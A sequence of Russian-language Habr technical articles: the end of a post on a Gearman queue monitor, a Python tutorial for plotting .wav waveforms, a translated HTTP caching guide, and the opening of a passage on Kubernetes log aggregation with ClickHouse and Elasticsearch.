С воркерами разобрались, они нам подвластны. А очередь?
Опять же, воркеры — как маленькие дети, разбирают кучку, а что в той кучке? Поэтому:
***— вывод всех функций, которые зарегистрированы на сервере очередей***
***— вывод очереди задач по каждой функции***
Но вот клиенты набросали на сервер очередей задач, по одной скопилось их 1000, а воркер — один и явно не справится, или вообще нет воркеров и не предвидится. Или ближе к жизни: внешний сервис, к которому обращались воркеры, недоступен, очередь нужно сбрасывать. Как быть? Требуется
***— сброс/очистка очереди по каждой функции***
Но вот мы наигрались Gearman, нужно отключаться. Или же мы что-то сделали не так, отправили на сервер очередей, и нужно срочно все остановить. Поможет
***— полный сброс: очистка все очереди, останов всех воркеров.***
Добавим, что все происходящее **должно отображаться в реальном времени без всяких обновлений страницы**.
Все указанные выше задачи решит класс Gearman\_Monitor и веб приложение Gearman Monitor && Control, реализующее методы этого класса.
[Проект Gearman Monitor && Control на Github](https://github.com/konst21/gearman_monitor_control)
**Чистый скриншот веб-приложения**
**Тот же скриншот с подробными пояснениями**
Вот видео работы веб-приложения
Для использования в разработке требуются классы Gearman\_Monitor и Gmonitor\_Settings (имена php-файлов совпадают с именами классов).
Свойства и методы классов подробно задокументированы в самих файлах. Поясним только вот это:
```
public static $func_name_synonyms = array(
'summ' => 'Sum',
'muliply' => 'Умножение и деление в воркере',
'subtract' => 'Substract Function',
'divide' => '功能',
);
```
Здесь
ключ массива — имя функции, зарегистрированное воркером на сервере очередей
значение — То, что вы увидите в таблице, в любом виде. Это для удобства работы операторов — раз, и еще применение. Представим, что на одном сервере очередей «крутятся» несколько проектов. Разумеется, хочется видеть не все в куче, а только свой проект. Для этого указываем синонимы (если не указали, используется имя функции), и устанавливаем значение
```
public static $synonyms_only_view = true;
```
В этом случае в таблице функций будут отображаться только те, для которых есть синонимы.
Еще один момент. Веб-приложение содержит логгер и обработчик ошибок PHP. Если вы подключите к воркеру файл gearman\_includes.php, то сможете записывать из воркера в лог, который отображается, и ошибки воркера тоже будут записываться и отображаться в логе.
В директории /workers лежит два воркера. fake\_worker.php нужен для работы приложения, второй воркер — из работающего проекта, можно рассмотреть его как пример.
Для использования веб-приложения потребуется:
— создание в БД таблицы log (см. файл log\_create.sql)
— указать параметры соединения с БД в файле Gearman\_Db.php
— установить права на запись во все директории внутри view / Smarty / smarty\_dirs (в первую очередь касается директории view / Smarty / smarty\_dirs / templates\_c )
— указать хост сервера Gearman в файле Gearman\_Monitor.php
Всем удачных очередей!
P.S. Веб-приложение выдрано из работающего проекта, могут быть небольшие нестыковки, заранее прошу прощения.
Еще момент. Неоднократно делались попытки переписать веб-приложение — облагородить код, интерфейс, но постоянно возникали задачи с использованием Gearman, и быстро на коленке допиливалась самая первая версия. В результате она и опубликована как многократно проверенная, надежная, устойчивая и удобная. | https://habr.com/ru/post/212761/ | null | ru | null |
# Рисуем волну .wav-файла
Некоторое время назад я решил посвятить себя решению экзотической задачи — нарисовать волну wave-файла, как это делают аудио- и видеоредакторы, используя для этого Питон. В результате у меня получился небольшой скрипт, который вполне с этим справляется. Так, картинка выше сгенерирована им из песни «Under Pressure» группы Queen. Для сравнения — вид волны в аудиоредакторе:
Для разбора звука я использовал библиотеку [numpy](http://numpy.scipy.org/), а для построения графика — [matplotlib](http://matplotlib.sourceforge.net/). Под катом я изложу основы работы с wav-файлами и алгоритм скрипта.
**UPD1:** коэффициент прореживания k лучше брать примерно k = nframes/w/32, подобрал эмпирически. Обновил картинки с новым коэффициентом.
[WAV](http://en.wikipedia.org/wiki/WAV) — это формат для хранения несжатого аудиопотока, широко используемый в медиаиндустрии. Его особенность в том, что для кодирования амплитуды выделяется фиксированное число бит. Это сказывается на размере выходного файла, но делает его очень удобным для чтения. Типичный wave-файл состоит из заголовочной части, тела с аудиопотоком и хвоста для дополнительной информации, куда аудиоредакторы могут записывать собственные метаданные.
Из заголовочной части извлекаются основные параметры — число каналов, битрейт, число фреймов — на основании которых осуществляется разбор аудиопотока. Wave-файл хранит в себе 1 или 2 канала, каждый из которых кодируется 8, 16, 24 или 32 битами. Последовательность бит, описывающая амплитуду волны в момент времени, называется сэмплом. Последовательность сэмплов для всех каналов в определенный момент называется фреймом.
Например, **\xe2\xff\xe3\xfа** — это фрейм 16-битного wav-файла. Значит, **\xe2\xff** — сэмпл первого (левого) канала, а **\xe3\xfа** — второго (правого). Сэмплы представляют собой целые знаковые числа (исключение — файлы с сэмплами в 8 бит, беззнаковые числа).
В богатой питоновской библиотеке есть модуль [wave](http://docs.python.org/library/wave.html), предназначенный для парсинга wav-файлов. Он позволяет получить основные характеристики звука и читать его по отдельным фреймам. На этом его возможности кончаются и парсить аудиопоток придется самостоятельно.
```
import wave
wav = wave.open("music.wav", mode="r")
(nchannels, sampwidth, framerate, nframes, comptype, compname) = wav.getparams()
content = wav.readframes(nframes)
```
Этими строками мы создаем объект для чтения wav-файла (если параметр «r» опустить, то будет создан объект для записи, что нам не подходит). Метод getparams() возвращает кортеж основных параметров файла (по порядку): число каналов, число байт на сэмпл, число вреймов в секунду, общее число фреймов, тип сжатия, имя типа сжатия. Я вынес их всё в отдельные переменные, чтобы не обращаться каждый раз к полям объекта.
Метод readframes() считывает указанное число фреймов относительно внутреннего указателя объекта и инкрементирует его. В данном случае, мы за один раз считали все фреймы в одну байтовую строку в переменную content.
Теперь нужно разобрать эту строку. Параметр sampwidth определяет, сколько байт уходит на кодирование одного сэмпла:
* 1 = 8 бит, беззнаковое целое (0-255),
* 2 = 16 бит, знаковое целое (-32768-32767)
* 4 = 32 бит, знаковое длинное целое (-2147483648-2147483647)
Разбор осуществляется следующим образом:
```
import numpy as np
types = {
1: np.int8,
2: np.int16,
4: np.int32
}
samples = np.fromstring(content, dtype=types[sampwidth])
```
Здесь задействуется библиотека numpy. Ее основное предназначение — математические действия с массивами и матрицами. Numpy оперирует своими собственными типами данных. Функция fromstring() создает одномерный массив из байтовой строки, при этом параметр dtype определяет, как будут интерпретированы элементы массива. В нашем примере, тип данных берется из словаря «types», в котором сопоставлены размеры сэмпла и типы данных numpy.
Теперь у нас есть массив сэмплов аудиопотока. Если в нем один канал, весь массив будет представлять его, если два (или несколько), то нужно «проредить» массив, выбрав для каждого канала каджый n-ый элемент:
```
for n in range(nchannels):
channel = samples[n::nchannels]
```
В этом цикле в массив channel выбирается каждый аудиоканал при помощи среза вида [offset::n], где offset — индекс первого элемента, а n — шаг выборки. Но массив канала содержит огромное количество точек, и вывод графика для 3-минутного файла потребует огромных затрат памяти и времени. Введем в код некоторые дополнительные переменные:
```
duration = nframes / framerate
w, h = 800, 300
DPI = 72
peak = 256 ** sampwidth / 2
k = nframes/w/32
```
duration — длительность потока в секундах, w и h — ширина и высота выходного изображения, DPI — произвольное значение, необходимое для перевода пикселей в дюймы, peak — пиковое значение амплитуды сэмпла, k — коэффициент прореживания канала, зависящий от ширины изображения; подобран эмпирически.
Скорректируем отображение графика:
```
plt.figure(1, figsize=(float(w)/DPI, float(h)/DPI), dpi=DPI)
plt.subplots_adjust(wspace=0, hspace=0)
```
Теперь цикл с выводом каналов будет выглядеть так:
```
for n in range(nchannels):
channel = samples[n::nchannels]
channel = channel[0::k]
if nchannels == 1:
channel = channel - peak
axes = plt.subplot(2, 1, n+1, axisbg="k")
axes.plot(channel, "g")
axes.yaxis.set_major_formatter(ticker.FuncFormatter(format_db))
plt.grid(True, color="w")
axes.xaxis.set_major_formatter(ticker.NullFormatter())
```
В цикле делается проверка на число каналов. Как я уже говорил, 8-битный звук хранится в беззнаковых целых, поэтому его необходимо нормализовать, отняв от каждого сэмпла половину амплитуды.
Напоследок, установим формат нижней оси
```
axes.xaxis.set_major_formatter(ticker.FuncFormatter(format_time))
```
Сохраним график в картинку и покажем его:
```
plt.savefig("wave", dpi=DPI)
plt.show()
```
format\_time и format\_db — это функции для форматирования значений шкал осей абсцисс и ординат.
format\_time форматирует время по номеру сэмпла:
```
def format_time(x, pos=None):
global duration, nframes, k
progress = int(x / float(nframes) * duration * k)
mins, secs = divmod(progress, 60)
hours, mins = divmod(mins, 60)
out = "%d:%02d" % (mins, secs)
if hours > 0:
out = "%d:" % hours
return out
```
Функция format\_db форматирует громкость звука по его амплитуде:
```
def format_db(x, pos=None):
if pos == 0:
return ""
global peak
if x == 0:
return "-inf"
db = 20 * math.log10(abs(x) / float(peak))
return int(db)
```
Весь скрипт:
```
import wave
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import math
types = {
1: np.int8,
2: np.int16,
4: np.int32
}
def format_time(x, pos=None):
global duration, nframes, k
progress = int(x / float(nframes) * duration * k)
mins, secs = divmod(progress, 60)
hours, mins = divmod(mins, 60)
out = "%d:%02d" % (mins, secs)
if hours > 0:
out = "%d:" % hours
return out
def format_db(x, pos=None):
if pos == 0:
return ""
global peak
if x == 0:
return "-inf"
db = 20 * math.log10(abs(x) / float(peak))
return int(db)
wav = wave.open("music.wav", mode="r")
(nchannels, sampwidth, framerate, nframes, comptype, compname) = wav.getparams()
duration = nframes / framerate
w, h = 800, 300
k = nframes/w/32
DPI = 72
peak = 256 ** sampwidth / 2
content = wav.readframes(nframes)
samples = np.fromstring(content, dtype=types[sampwidth])
plt.figure(1, figsize=(float(w)/DPI, float(h)/DPI), dpi=DPI)
plt.subplots_adjust(wspace=0, hspace=0)
for n in range(nchannels):
channel = samples[n::nchannels]
channel = channel[0::k]
if nchannels == 1:
channel = channel - peak
axes = plt.subplot(2, 1, n+1, axisbg="k")
axes.plot(channel, "g")
axes.yaxis.set_major_formatter(ticker.FuncFormatter(format_db))
plt.grid(True, color="w")
axes.xaxis.set_major_formatter(ticker.NullFormatter())
axes.xaxis.set_major_formatter(ticker.FuncFormatter(format_time))
plt.savefig("wave", dpi=DPI)
plt.show()
```
Еще примеры:
 | https://habr.com/ru/post/113239/ | null | ru | null |
# Учебное пособие по кэшированию, часть 2
Вторая часть довольно подробного и интересного изложения материала, касающегося кэша и его использования. [Часть 1](http://habrahabr.ru/post/203548/).
Автор, [Mark Nottingham](http://www.mnot.net/personal/), — признанный эксперт в области HTTP-протокола и веб-кэширования. Является председателем [IETF HTTPbis Working Group](http://trac.tools.ietf.org/wg/httpbis/trac/wiki). Принимал участие в редактировании HTTP/1.1, part. 6: Caching. В настоящий момент участвует в разработке HTTP/2.0.
Текст распространяется под лицензией [Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License](http://creativecommons.org/licenses/by-nc-nd/3.0/).
От переводчика: об опечатках и неточностях просьба сообщать в личку. Спасибо.
---
#### Как (и как не) управлять кэшем
Существует несколько инструментов, которые веб-дизайнеры и веб-мастера могут использовать для тонкой настройки того, как кэш будет работать с их сайтами. Это может потребовать от вас небольшого ознакомления с конфигурацией сервера, но оно того стоит. Для получения более детальной информации о том, как использовать эти инструменты для работы с вашим сервером, обратитесь к разделам “**Реализация**” (прим. переводчика — будет в следующей части) ниже.
##### Мета-теги HTML и HTTP-заголовки
Специалисты, работающие с HTML, могут поместить определенные теги в раздел ``HTML-документа, в котором описываются такого рода атрибуты. Мета-теги часто используются в надежде, что они помогут пометить документ как некэшируемый или устаревающий в определенное время.
Мета-теги просты в использовании, однако не очень эффективны. Это происходит потому, что они удостаиваются внимания только некоторых браузерных кэшей, но не прокси (которые почти никогда не читают HTML-документ). Хотя это может быть заманчивым - поместить мета-тег Pragma: no-cache` в HTML-код страницы, но этот шаг не обязательно сохранит страницу свежей.
С другой стороны, верные HTTP-заголовки дают вам серьезный контроль над тем, как и кэш браузера, и прокси обрабатывают ваш контент. Они не могу быть рассмотрены в HTML и, обычно, автоматически генерируются на стороне веб-сервера. Однако, вы можете управлять ими в некоторой степени, в зависимости от используемого сервера. В следующих разделах вы увидите, какие HTTP-заголовки представляют интерес, и как их применить на своем сайте.
HTTP-заголовки отправляются сервером прежде HTML и рассматриваются только браузером и любым промежуточным кэшем. Заголовки типичного HTTP/1.1 ответа могут выглядеть следующим образом:
`HTTP/1.1 200 OK`
`Date: Fri, 30 Oct 1998 13:19:41 GMT`
`Server: Apache/1.3.3 (Unix)`
`Cache-Control: max-age=3600, must-revalidate`
`Expires: Fri, 30 Oct 1998 14:19:41 GMT`
`Last-Modified: Mon, 29 Jun 1998 02:28:12 GMT`
`ETag: "3e86-410-3596fbbc"`
`Content-Length: 1040`
`Content-Type: text/html`
HTML будет следовать за этими заголовками, отделенный пустой строкой. Смотрите разделы “**Реализация**” (прим. переводчика - будет в следующей части), чтобы узнать о том, как установить HTTP-заголовки.
###### Примечание
Если ваш сайт размещен у интернет-провайдера (ISP) или на хостинг-ферме и они не позволяют вам устанавливать произвольные HTTP-заголовки (такие как `Expires` и `Cache-Control`), упорнее выражайте недовольство; это инструменты, необходимые для вашей работы.
##### HTTP-заголовки Pragma (и почему они не работают)
Многие специалисты считают, что употребление HTTP-заголовока `Pragma: no-cache` делает контент некэшируемым. Это не всегда верно; спецификация HTTP не описывает никаких указаний для заголовков Pragma в ответе; но Pragma заголовки запроса (заголовки, которые браузер посылает серверу) были упомянуты. Хотя некоторые кэши могут учитывать эти заголовки, большинство - не будет, и их употребление не принесет никакого эффекта. Вместо этого используйте заголовки, указанные ниже.
##### Контроль свежести HTTP-заголовком Expires
HTTP-заголовок `Expires` - основной способ управления кэшем; он сообщает всем кэшам, как долго контент трактуется как свежий. По истечении этого времени, кэш всегда будет опрашивать исходный сервер, чтобы узнать, изменился ли контент. Заголовки `Expires` поддерживаются практически любым кэшем.
Большинство веб-серверов позволяют установить заголовки ответов `Expires` с помощью ряда методов. Как правило, они позволяют установить абсолютно точное время истечения; время, на основе последнего раза, когда клиент запрашивал контент (last access time); или время, основанное на дате последнего изменения документа на сервере (last modification time).
Заголовки `Expires` особенно хороши для кэширования статических изображений (таких как навигация и кнопки). Потому что они не изменяются часто и вы можете устанавливать им чрезвычайно долгое время истечения, делая ваш сайт более отзывчивым к пользователям. Они также полезны для управления кэшированием страниц, которые изменяются регулярно. Если вы обновляете страницу с новостями единоразово около шести часов утра, вы можете установить время истечения для контента на этот час - так кэш будет знать о том, когда необходимо получить свежую копию, без необходимости ручного обновления пользователями с помощью нажатия “Обновить”.
Отметим, что **только HTTP-дата** является валидным значением HTTP-заголовка `Expires`. Что-то помимо этого наиболее вероятно будет интерпретировано как уже истекшее, так что контент будет некэшируемым. Также, стоит напомнить, что время в HTTP-дате трактуется по Гринвичу (GMT), не в соответствии с местным часовым поясом.
Например:
`Expires: Fri, 30 Oct 1998 14:19:41 GMT`
Хотя заголовок `Expires` полезен, он имеет некоторые ограничения. Во-первых, часы веб-сервера и кэша должны быть синхронизированы, так как в расчетах присутствует время; если у них разное представление о текущих дате/времени, ожидаемый эффект не будет достигнут и кэш может ошибочно трактовать устаревший контент как свежий.
Другая проблема с `Expires` заключается в том, что довольно легко забыть, что вы установили некоторому контенту определенное время истечения. Если вы не обновите время в `Expires`, прежде чем оно придет, каждый запрос будет обращаться к серверу, увеличивая нагрузку и время ожидания.
###### Примечание
Очень важно быть уверенным в том, что часы вашего веб-сервера работают правильно, если вы используете заголовок `Expires`. Один из способов удостовериться в этом - использование сетевого протокола для синхронизации внутренних часов компьютера ([Network Time Protocol](http://ru.wikipedia.org/wiki/NTP), NTP); поговорите об этом с вашим системным администратором.
##### HTTP-заголовки Cache-Control
HTTP/1.1 ввел новый класс заголовков, заголовки ответа `Cache-Control`, чтобы дать веб-мастерам больший контроль над контентом и решить ограничения, связанные с `Expires`.
Заголовки ответов `Cache-Control` включают:
* **max-age**=[секунды] - описывает максимальный период времени, в течение которого контент остается свежим. Аналогично `Expires`, эта директива указывает время, относительное моменту запроса, а не абсолютную величину. [секунды] - количество секунд от момента запроса, в течение которых вы хотите, чтобы контент трактовался как свежий.
* **s-maxage**=[секунды] - подобен **max-age**, отличаясь тем, что применяется только к общему кэша (т.е. прокси).
* **public** - помечает авторизованные запросы, как кэшируемые; это нормально, если требуется HTTP-аутентификация, ответы автоматически становятся приватными.
* **private** - позволяет кэшу, который действует для определенного пользователя (т.е. в браузере) хранить ответ; общему кэшу (т.е. прокси) - нет.
* **no-cache** - принуждает кэш отправлять запрос на исходный сервер каждый раз для валидации, прежде чем выдать кэшированную копию. Это полезно, когда необходимо гарантировать, что аутентификация принята во внимание (в сочетании с **public**) или для поддержания жесткой свежести без потери преимуществ кэширования.
* **no-store** - указывает кэшу не сохранять копию контента, ни при каких условиях.
* **must-revalidate** - сообщает кэшу, что он должен подчиниться любой свежей информации, что вы ему предоставляете о контенте. HTTP позволяет кэшу хранить устаревший контент при определенных условиях; упомянув этот заголовок, вы сообщаете кэшу, что вы хотите, чтобы он строго следовал вашим правилам.
* **proxy-revalidate** - подобен **must-revalidate**, кроме того, что применяется только к прокси.
Например:
`Cache-Control: max-age=3600, must-revalidate`
Когда оба, и `Cache-Control`, и `Expires` - присутствуют, больший приоритет имеет `Cache-Control`. Если вы планируете использовать `Cache-Control`, вам следует ознакомиться с документацией по [HTTP/1.1](http://www.ietf.org/rfc/rfc2616.txt).
##### Валидаторы и валидация
В секции “[**Как работает кэш**](http://habrahabr.ru/post/203548/#cache-works)” мы сказали, что валидация используется серверами и кэшами для взаимодействия, когда контент был изменен. Используя её, кэш избегает необходимости скачивания контента целиком, когда он уже имеет локальную копию, но не уверен в том, что она все еще свежая.
Валидаторы очень важны; если нет ни одного и не доступна любая информация о свежести (`Expires` или `Cache-Control`), кэш не будет хранить контент вообще.
Наиболее распространенный валидатор это время, когда документ был в последний раз именен, о чем сообщено в заголовке `Last-Modified`. Когда кэш хранит контент, который содержит заголовок `Last-Modified`, он (кэш) может использовать его для того, чтобы опросить сервер, чтобы узнать был ли изменен контент со времени его последнего просмотра, с помощью `If-Modified-Since` запроса.
HTTP/1.1 ввел новый вид валидатора, названный `ETag`. `ETag` - это уникальные идентификаторы, которые генерируются сервером и изменяются каждый раз, когда запрашивается контент. Поскольку сервер управляет тем, как сгенерированы `ETag`, кэш может быть уверен в том, что, если `ETag` совпадают по результатам запроса `If-None-Match`, контент действительно совпадает.
Почти все кэши используют время из `Last-Modified` как валидатор; `ETag` также становятся распространенными.
Большинство современных веб-серверов могут автоматически генерировать и `ETag`, и `Last-Modified` заголовки, чтобы использовать в качестве валидаторов для статического контента (т.е. файлов); вам не придется ничего делать. Однако, они не знают достаточно о динамическом контенте (таком, как CGI, ASP, базы данных сайтов), чтобы их генерировать (см. раздел “[Написание скриптов, дружественных кэшу](http://habrahabr.ru/post/204464/#writing-scripts)”).
#### Советы по построению дружественных кэшу сайтов
Помимо использования свежести и валидации, существует ряд других мер, которые вы можете выполнять, чтобы сделать ваш сайт более дружественным кэшу.
* **Используйте URL-адреса последовательно** - это золотое правило кэширования. Если вы храните некоторый контент на разных страницах, для разных пользователей или на разных сайтах, он должен использовать один и тот же URL-адрес. Это самый простой и самый эффективный способ сделать ваш сайт дружественным кэшу. Например, если вы однажды используете “/index.html” в качестве эталона, используйте его таким образом всегда.
* **Используйте общую библиотеку изображений** и других элементов и обращайтесь к ним из разных мест.
* **Храните в кэше изображения и страницы, которые редко изменяются**, с помощью указания заголовка `Cache-Control: max-age` с большими значениями **max-age**.
* **Дайте кэшу возможность распознавать страницы, которые обновляются регулярно**, указав соответствующий **max-age** или время истечения (expiration time).
* **Если ресурс (особенно скачиваемый файл) изменяется, измените его имя**. Таким образом, вы можете установить время его истечения далеко в будущем и при этом гарантировать, что все еще храните актуальную версию; страница, которая хранит ссылку на него, - единственное, что потребует короткого времени истечения.
* **Не изменяйте файлы без необходимости**. Если вы так поступаете, всё будет иметь обманчиво недавнюю дату в `Last-Modified`.
* **Используйте куки только когда необходимо** - куки сложно кэшировать и они, в большинстве ситуаций, не нужны. Если вам необходимо их использовать, ограничьте сферу их применения динамическими страницами.
* **Минимизируйте использование SSL** - потому как шифрованные страницы не хранятся в общем кэше; пользуйтесь ими только при необходимости и бережно относитесь к взаимодействию через SSL с изображениями.
* **Проверьте свои страницы с помощью [REDbot](http://redbot.org/)** - он поможет вам применить многие идеи из этого учебного пособия.
#### Написание скриптов, дружественных кэшу
По-умолчанию, большинство сценариев (прим. переводчика - в рамках данного текста слово “сценарий” имеет тот же смысл, что и слово “скрипт”) не будет возвращать валидатор (`Last-Modified` или `ETag` в заголовоке ответа) или информацию о свежести (`Expires` или `Cache-Control`). В то время как некоторые скрипты являются по-настоящему динамическими (это означает, что они возвращают разные ответы на каждый запрос), многие (такие, как поисковые движки или сайты, взаимодействующие с базами данных) могут извлечь пользу из взаимодействия с кэшем.
Вообще говоря, если скрипт производит некий вывод, который является воспроизводимым тем же запросом позднее (неважно, через минуты или дни), он должен быть закэширован. Если контент на выходе сценария изменяется только в зависимости от того, что в URL-адресе, он кэшируется; если вывод зависит от куков, информации об аутентификации или от какого-то другого внешнего фактора, вероятно кэширования не происходит.
* Лучший способ сделать скрипт дружественным кэшу - это выгружать его содержимое в простой файл всякий раз, когда оно меняется. Веб-сервер может затем обрабатывать её как любую другую страницу, создавая и используя валидаторы, которые сделают вашу жизнь проще. Не забудьте только записывать файлы, которые были изменены, так вы сохраните время `Last-Modified`.
* Другой способ сделать скрипт кэшируемым в ограниченной форме - установить заголовки, связанные с возрастом, настолько далекими в будущем, насколько это практично. Хотя это может быть исполнено с помощью `Expires`, вероятно проще всего это сделать с помощью `Cache-Control: max-age`, который сделает запрос свежим на всем протяжении этого периода.
* Если вы не можете этого сделать, вам придется создать валидатор, а затем ответить на `If-Modified-Since` и/или `If-None-Match` запросы. Это может быть сделано путем парсинга HTTP заголовков и последующим ответом с `304 Not Modified` при необходимости. К сожалению, это не тривиальная задача.
Некоторые другие советы:
* Не используйте POST, если это не является целесообразным. Ответы POST-методом не хранятся большинством кэшей; если вы отправляете информацию в строке запроса (через GET), кэш может хранить эту информацию на будущее.
* Не вставляйте информацию, специфичную для пользователя, в URL-адрес, если сгенерированный контент не является полностью уникальным для этого пользователя.
* Не рассчитывайте на все запросы пользователя, приходящие с одного хоста, потому что кэши часто работают вместе.
* Генерируйте `Content-Length` заголовки ответа. Это легко сделать и позволит ответу от вашего скрипта использоваться в постоянном соединении (persistent connection). Это позволяет клиентам запрашивать несколько экземпляров контента через одно TCP/IP соединение, вместе установки соединения на каждый запрос. Это делает ваш сайт, кажется, намного быстрее.
Обратитесь к "**Заметкам о реализации**" для более конкретной информации (прим. переводчика - будет в следующей части).` | https://habr.com/ru/post/204464/ | null | ru | null |
# Логи в Kubernetes (и не только) сегодня: ожидания и реальность
Шёл 2019 год, а у нас всё ещё нет стандартного решения для агрегации логов в Kubernetes. В этой статье мы хотели бы, используя примеры из реальной практики, поделиться своими поисками, встречаемыми проблемами и их решениями.
Однако для начала оговорюсь, что разные заказчики под сбором логов понимают очень разное:
* кто-то хочет видеть security- и audit-логи;
* кто-то — централизованное логирование всей инфраструктуры;
* а кому-то достаточно собирать только логи приложения, исключив, например, балансировщики.
О том, как мы реализовывали различные «хотелки» и с какими трудностями столкнулись, — под катом.
Теория: об инструментах для логов
---------------------------------
### Предыстория о компонентах системы логирования
Логирование прошло долгий путь, в результате которого выработались методологии сбора и анализа логов, что мы и применяем сегодня. Ещё в 1950-х годах в Fortran появился аналог стандартных потоков ввода-вывода, которые помогали программисту в отладке его программы. Это были первые компьютерные логи, которые облегчали жизнь программистам тех времен. На сегодня мы в них видим первый компонент системы логирования — **источник или «производитель» (producer) логов**.
Компьютерная наука не стояла на месте: появились компьютерные сети, первые кластеры… Начали работать сложные системы, состоящие из нескольких компьютеров. Теперь системные администраторы вынуждены были собирать логи с нескольких машин, а в особых случаях могли добавлять и сообщения ядра ОС на случай, если потребуется расследовать системный сбой. Чтобы описать системы централизованного сбора логов, в начале 2000-х выходит [RFC 3164](https://tools.ietf.org/html/rfc3164), который стандартизовал remote\_syslog. Так появился еще один важный компонент: **коллектор (сборщик) логов** и их хранилище.
С увеличением объема логов и повсеместным внедрением веб-технологий встал вопрос о том, что логи нужно удобно показать пользователям. На смену простым консольным инструментам (awk/sed/grep) пришли более продвинутые **просмотрщики логов** — третий компонент.
В связи с увеличением объема логов стало ясно и другое: логи нужны, но не все. А ещё разные логи требуют разного уровня сохранности: одни можно потерять через день, а другие — надо хранить 5 лет. Так в систему логирования добавился компонент фильтрации и маршрутизации потоков данных — назовём его **фильтром**.
Хранилища тоже сделали серьезный скачок: с обычных файлов перешли на реляционные базы данных, а затем и на документоориентированные хранилища (например, Elasticsearch). Так от коллектора отделилось хранилище.
В конце концов, само понятие лога расширилось до некоего абстрактного потока событий, которые мы хотим сохранять для истории. А точнее — на тот случай, когда потребуется провести расследование или составить аналитический отчет…
В итоге, за сравнительно небольшой промежуток времени, сбор логов развился в важную подсистему, которую по праву можно назвать одним из подразделов в Big Data.
*Если когда-то обычных print’ов могло быть достаточно для «системы логирования», то теперь ситуация сильно изменилась.*
### Kubernetes и логи
Когда в инфраструктуру пришёл Kubernetes, существовавшая и без того проблема сбора логов не обошла стороной и его. В некотором смысле она стала даже более болезненной: управление инфраструктурной платформой было не только упрощено, но и одновременно усложнено. Многие старые сервисы начали миграцию на микросервисные рельсы. В контексте логов это выразилось в растущем числе источников логов, их особом жизненном цикле, и необходимости отслеживать через логи взаимосвязи всех компонентов системы…
Забегая вперёд, могу констатировать, что сейчас, к сожалению, нет стандартизированного варианта логирования для Kubernetes, который бы выгодно отличался от всех остальных. Наиболее популярные в сообществе схемы сводятся к следующим:
* кто-то разворачивает стек **EFK** (Elasticsearch, Fluentd, Kibana);
* кто-то — пробует недавно выпущенный [**Loki**](https://grafana.com/oss/loki/) или использует [**Logging operator**](https://banzaicloud.com/products/logging-operator/);
* нас *(а возможно, и не только нас?..)* во многом устраивает собственная разработка — [**loghouse**](https://github.com/flant/loghouse)…
Как правило, мы используем такие связки в K8s-кластерах (для self-hosted-решений):
* [Fluentd + Elasticsearch + Kibana](https://github.com/kiwigrid/helm-charts/tree/master/charts/fluentd-elasticsearch);
* [Fluentd + ClickHouse + loghouse](https://github.com/flant/loghouse).
Однако не буду останавливаться на инструкциях по их установке и конфигурации. Вместо этого, сфокусируюсь на их недостатках и более глобальных выводах по ситуации с логами в целом.
Практика с логами в K8s
-----------------------
### «Повседневные логи», сколько же вас?..
Централизованный сбор логов с достаточно большой инфраструктуры требует немалых ресурсов, которые уйдут на сбор, хранение и обработку логов. В ходе эксплуатации различных проектов мы столкнулись с различными требованиями и возникающими из-за них проблемами в эксплуатации.
#### Попробуем ClickHouse
Давайте рассмотрим централизованное хранилище на проекте с приложением, которое довольно активно генерирует логи: более 5000 строк в секунду. Начнём работу с его логами, складывая их в ClickHouse.
Как только потребуется максимальный realtime, 4-ядерный сервер с ClickHouse уже будет перегружен по дисковой подсистеме:
Подобный тип загрузки связан с тем, что мы пытаемся максимально быстро писать в ClickHouse. И на это БД реагирует повышенной дисковой нагрузкой, из-за чего может выдавать такие ошибки:
`DB::Exception: Too many parts (300). Merges are processing significantly slower than inserts`
Дело в том, что [MergeTree-таблицы](https://clickhouse.yandex/docs/en/operations/table_engines/mergetree/) в ClickHouse (в них лежат данные логов) имеют свои сложности при операциях записи. Вставляемые в них данные генерируют временную партицию, которая потом сливается с основной таблицей. В результате, запись получается очень требовательной к диску, а также на неё распространяется ограничение, уведомление о котором мы и получили выше: в 1 секунду могут сливаться не более 300 субпартиций (фактически это 300 insert’ов в секунду).
Чтобы избежать подобного поведения, [следует писать в ClickHouse](https://github.com/ClickHouse/ClickHouse/issues/3174) как можно более большими кусками и не чаще 1 раза в 2 секунды. Однако запись большими пачками предполагает, что мы должны реже писать в ClickHouse. Это, в свою очередь, может привести к переполнению буфера и к потере логов. Решение — увеличить буфер Fluentd, но тогда увеличится и потребление памяти.
***Примечание**: Другая проблемная сторона нашего решения с ClickHouse была связана с тем, что партицирование в нашем случае (loghouse) реализовано через внешние таблицы, связанные [Merge-таблицей](https://clickhouse.yandex/docs/ru/operations/table_engines/merge/). Это приводит к тому, что при выборке больших временных интервалов требуется излишняя оперативная память, поскольку метатаблица перебирает все партиции — даже те, которые заведомо не содержат нужные данные. Впрочем, сейчас такой подход можно смело объявить устаревшим для актуальных версий ClickHouse (c [18.16](https://github.com/ClickHouse/ClickHouse/blob/master/CHANGELOG.md#clickhouse-release-18160-2018-12-14)).*
В итоге, становится ясно, что для сбора логов в реальном времени в ClickHouse хватит ресурсов далеко не каждого проекта (точнее, их распределение не будет целесообразным). Кроме того, потребуется использовать **аккумулятор**, к которому мы ещё вернёмся. Описываемый выше случай — реальный. И на тот момент мы не смогли предложить надежное и стабильное решение, которое бы устраивало заказчика и позволило бы собирать логи с минимальной задержкой…
#### А Elasticsearch?
Известно, что Elasticsearch справляется с большими нагрузками. Попробуем его в том же проекте. Теперь нагрузка выглядит следующим образом:
Elasticsearch смог переварить поток данных, однако запись подобных объемов в него сильно утилизирует CPU. Это решается организацией кластера. Чисто технически это не проблема, однако получится, что только для работы системы сбора логов мы уже используем около 8 ядер и имеем дополнительный высоконагруженный компонент в системе…
Итог: такой вариант может быть оправдан, но только в том случае, если проект большой и его руководство готово потратить заметные ресурсы на систему централизованного логирования.
Тогда возникает закономерный вопрос:
### Какие логи действительно нужны?
 Попробуем изменить сам подход: логи должны одновременно и быть информативными, и не покрывать *каждое* событие в системе.
Допустим, у нас есть преуспевающий интернет-магазин. Какие логи важны? Собирать максимум информации, например, с платёжного шлюза — отличная идея. А вот от сервиса нарезки изображений в каталоге продуктов нам критичны не все логи: хватит только ошибок и расширенного мониторинга (например, на процент 500-х ошибок, которые генерирует этот компонент).
Вот мы и пришли к тому, что **централизованное логирование оправдано далеко не всегда**. Очень часто клиент хочет собрать все логи в одном месте, хотя на самом деле из всего лога требуется лишь условные 5% сообщений, которые критичны для бизнеса:
* Иногда достаточно настроить, скажем, только размер лога контейнера и сборщик ошибок (например, Sentry).
